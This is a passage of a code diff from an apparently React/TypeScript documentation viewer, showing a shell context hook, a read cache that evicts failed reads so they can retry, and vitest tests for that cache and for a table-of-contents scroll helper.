* `checking` while the readdir is in flight — <PageView> must render neither the
|
|
54
|
+
* entry nor the 404 then, or a folder URL flashes "No entry at …" before healing. */
|
|
55
|
+
directory: DirectoryListing;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
export const GroveShellContext = createContext<GroveShell | null>(null);
|
|
59
|
+
|
|
60
|
+
/** Read the shell context. Throws if used outside App's provider — which only
|
|
61
|
+
* happens if chrome is rendered outside the Grove tree, a real bug. */
|
|
62
|
+
export function useShell(): GroveShell {
|
|
63
|
+
const ctx = useContext(GroveShellContext);
|
|
64
|
+
if (!ctx) throw new Error('useShell() must be used within <GroveShellContext.Provider>');
|
|
65
|
+
return ctx;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
/** The node an `<Outlet/>` renders: the next-inward layout, or — at the bottom of
|
|
69
|
+
* the chain — the page itself (`<PageView/>`). Each layer sets this for its own
|
|
70
|
+
* subtree, so nested layouts compose. */
|
|
71
|
+
export const OutletContext = createContext<ReactNode>(null);
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import { createSourceCache } from './sourceCache';
|
|
3
|
+
|
|
4
|
+
describe('createSourceCache', () => {
|
|
5
|
+
it('memoises a successful read so `use()` gets a stable promise', async () => {
|
|
6
|
+
let calls = 0;
|
|
7
|
+
const c = createSourceCache(async (p) => { calls++; return `body of ${p}`; });
|
|
8
|
+
const a = c.read('x.mdx');
|
|
9
|
+
const b = c.read('x.mdx');
|
|
10
|
+
expect(a).toBe(b); // identical promise identity, which is what `use()` requires
|
|
11
|
+
expect(await a).toBe('body of x.mdx');
|
|
12
|
+
expect(calls).toBe(1);
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
it('does NOT memoise a failure — the next read retries', async () => {
|
|
16
|
+
// The defect this guards: the host↔sandbox RPC drops requests during a navigation, and
|
|
17
|
+
// a rejected promise left in the cache was returned to every later render, so the entry
|
|
18
|
+
// stayed blank for the rest of the session with no error and no way back.
|
|
19
|
+
let calls = 0;
|
|
20
|
+
const c = createSourceCache(async (p) => {
|
|
21
|
+
calls++;
|
|
22
|
+
if (calls === 1) throw new Error('Invalid RPC id');
|
|
23
|
+
return `body of ${p}`;
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
await expect(c.read('x.mdx')).rejects.toThrow('Invalid RPC id');
|
|
27
|
+
expect(c.size()).toBe(0); // evicted, not retained
|
|
28
|
+
|
|
29
|
+
expect(await c.read('x.mdx')).toBe('body of x.mdx'); // recovered
|
|
30
|
+
expect(calls).toBe(2);
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it('keeps a later successful read even if an earlier one failed', async () => {
|
|
34
|
+
let calls = 0;
|
|
35
|
+
const c = createSourceCache(async () => {
|
|
36
|
+
calls++;
|
|
37
|
+
if (calls === 1) throw new Error('transient');
|
|
38
|
+
return 'ok';
|
|
39
|
+
});
|
|
40
|
+
await expect(c.read('a.mdx')).rejects.toThrow();
|
|
41
|
+
await c.read('a.mdx');
|
|
42
|
+
expect(await c.read('a.mdx')).toBe('ok');
|
|
43
|
+
expect(calls).toBe(2); // the second read was memoised
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it('evicts only the failing path', async () => {
|
|
47
|
+
const c = createSourceCache(async (p) => {
|
|
48
|
+
if (p === 'bad.mdx') throw new Error('nope');
|
|
49
|
+
return 'fine';
|
|
50
|
+
});
|
|
51
|
+
await c.read('good.mdx');
|
|
52
|
+
await expect(c.read('bad.mdx')).rejects.toThrow();
|
|
53
|
+
expect(c.size()).toBe(1);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
it('invalidates one path, or all of them', async () => {
|
|
57
|
+
const c = createSourceCache(async () => 'v');
|
|
58
|
+
await c.read('a.mdx');
|
|
59
|
+
await c.read('b.mdx');
|
|
60
|
+
expect(c.size()).toBe(2);
|
|
61
|
+
c.invalidate('a.mdx');
|
|
62
|
+
expect(c.size()).toBe(1);
|
|
63
|
+
c.invalidate();
|
|
64
|
+
expect(c.size()).toBe(0);
|
|
65
|
+
});
|
|
66
|
+
});
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
// The raw-source read cache behind the interpreter body renderer — pure, injectable, and
|
|
2
|
+
// separate from the component so its failure behaviour can be tested without a host.
|
|
3
|
+
//
|
|
4
|
+
// `use()` needs a STABLE promise across renders, so reads are memoised per path. The
|
|
5
|
+
// subtlety is what happens when a read FAILS: a rejected promise left in the cache is
|
|
6
|
+
// returned to every later render, so the entry can never recover. That is not theoretical
|
|
7
|
+
// — the host↔sandbox RPC drops requests during a navigation ("Invalid RPC id"), and an
|
|
8
|
+
// entry whose read lost that race stayed **permanently blank for the rest of the session**,
|
|
9
|
+
// with no error and no way back short of a reload. Evicting on rejection makes the next
|
|
10
|
+
// attempt a fresh read, so a transient failure costs a retry instead of the page.
|
|
11
|
+
|
|
12
|
+
export type Reader = (path: string) => Promise<string>;
|
|
13
|
+
|
|
14
|
+
export interface SourceCache {
|
|
15
|
+
read: (path: string) => Promise<string>;
|
|
16
|
+
/** Drop a memoised read (a live edit, or an explicit refresh). */
|
|
17
|
+
invalidate: (path?: string) => void;
|
|
18
|
+
/** Testing/diagnostics: how many paths are memoised right now. */
|
|
19
|
+
size: () => number;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export function createSourceCache(reader: Reader): SourceCache {
|
|
23
|
+
const cache = new Map<string, Promise<string>>();
|
|
24
|
+
return {
|
|
25
|
+
read(path) {
|
|
26
|
+
const hit = cache.get(path);
|
|
27
|
+
if (hit) return hit;
|
|
28
|
+
const p = reader(path).catch((err) => {
|
|
29
|
+
// Never let a failure become the permanent answer for this path.
|
|
30
|
+
if (cache.get(path) === p) cache.delete(path);
|
|
31
|
+
throw err;
|
|
32
|
+
});
|
|
33
|
+
cache.set(path, p);
|
|
34
|
+
return p;
|
|
35
|
+
},
|
|
36
|
+
invalidate(path) {
|
|
37
|
+
if (path === undefined) cache.clear();
|
|
38
|
+
else cache.delete(path);
|
|
39
|
+
},
|
|
40
|
+
size: () => cache.size,
|
|
41
|
+
};
|
|
42
|
+
}
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import { scrollOffsetFor, type ScrollItem, type ScrollView } from './tocScroll';
|
|
3
|
+
|
|
4
|
+
// A 200px-tall viewport over a 1000px list, currently at the top.
|
|
5
|
+
const view = (over: Partial<ScrollView> = {}): ScrollView => ({
|
|
6
|
+
viewHeight: 200,
|
|
7
|
+
scrollTop: 0,
|
|
8
|
+
scrollHeight: 1000,
|
|
9
|
+
...over,
|
|
10
|
+
});
|
|
11
|
+
const item = (top: number, height = 20): ScrollItem => ({ top, height });
|
|
12
|
+
|
|
13
|
+
describe('scrollOffsetFor — the "when necessary" half', () => {
|
|
14
|
+
it('returns null for an entry already comfortably in view', () => {
|
|
15
|
+
expect(scrollOffsetFor(view(), item(100), { margin: 28 })).toBeNull();
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it('returns null when the whole list fits — nothing can scroll', () => {
|
|
19
|
+
// Guarded explicitly: without it the clamp below returns 0 for a top item, which a
|
|
20
|
+
// caller would read as "scroll to 0" and act on, cancelling smooth scrolls forever.
|
|
21
|
+
expect(scrollOffsetFor(view({ scrollHeight: 150 }), item(0))).toBeNull();
|
|
22
|
+
expect(scrollOffsetFor(view({ scrollHeight: 200 }), item(180))).toBeNull();
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it('pulls an entry below the fold UP to the bottom edge, not to the centre', () => {
|
|
26
|
+
// bottom(420) + margin(28) - viewHeight(200) = 248 — one step, not a jump to centre.
|
|
27
|
+
expect(scrollOffsetFor(view(), item(400), { margin: 28 })).toBe(248);
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('pulls an entry above the fold DOWN to the top edge', () => {
|
|
31
|
+
expect(scrollOffsetFor(view({ scrollTop: 500 }), item(400), { margin: 28 })).toBe(372);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
it('honours the edge margin — an entry flush against the fold still moves', () => {
|
|
35
|
+
// top 210 with viewTop 0 + viewHeight 200: the entry's bottom (230) is past the fold.
|
|
36
|
+
expect(scrollOffsetFor(view(), item(210), { margin: 0 })).toBe(30);
|
|
37
|
+
// With a margin, it is pulled further so the list visibly continues past it.
|
|
38
|
+
expect(scrollOffsetFor(view(), item(210), { margin: 28 })).toBe(58);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('never scrolls past either end', () => {
|
|
42
|
+
expect(scrollOffsetFor(view(), item(0), { margin: 28 })).toBeNull(); // no negative
|
|
43
|
+
const atEnd = scrollOffsetFor(view({ scrollTop: 0 }), item(980), { margin: 28 });
|
|
44
|
+
expect(atEnd).toBe(800); // scrollHeight(1000) - viewHeight(200)
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it('returns null when the clamp lands where we already are', () => {
|
|
48
|
+
// An entry inside the top margin while the list is already at 0: the ideal target is
|
|
49
|
+
// negative, clamps to 0, and 0 is the current offset — that is "in view", not a scroll.
|
|
50
|
+
expect(scrollOffsetFor(view({ scrollTop: 0 }), item(10), { margin: 28 })).toBeNull();
|
|
51
|
+
// …and at the far end, likewise.
|
|
52
|
+
expect(scrollOffsetFor(view({ scrollTop: 800 }), item(990), { margin: 28 })).toBeNull();
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
it('treats a tall entry that cannot fit by pinning its top', () => {
|
|
56
|
+
// Taller than the viewport: the bottom rule would scroll past the top of the entry and
|
|
57
|
+
// show only its tail. Above-the-fold is tested first, so the top wins.
|
|
58
|
+
expect(scrollOffsetFor(view({ scrollTop: 400 }), item(300, 400), { margin: 0 })).toBe(300);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it('is stable — applying its own answer twice is a no-op', () => {
|
|
62
|
+
// The property that keeps the list from oscillating: after one correction the entry is
|
|
63
|
+
// in view, so a second call must decline. A margin/edge mix-up breaks exactly this.
|
|
64
|
+
for (const top of [0, 37, 210, 400, 640, 980]) {
|
|
65
|
+
const first = scrollOffsetFor(view(), item(top), { margin: 28 });
|
|
66
|
+
if (first === null) continue;
|
|
67
|
+
const second = scrollOffsetFor(view({ scrollTop: first }), item(top), { margin: 28 });
|
|
68
|
+
expect(second).toBeNull();
|
|
69
|
+
}
|
|
70
|
+
});
|
|
71
|
+
});
|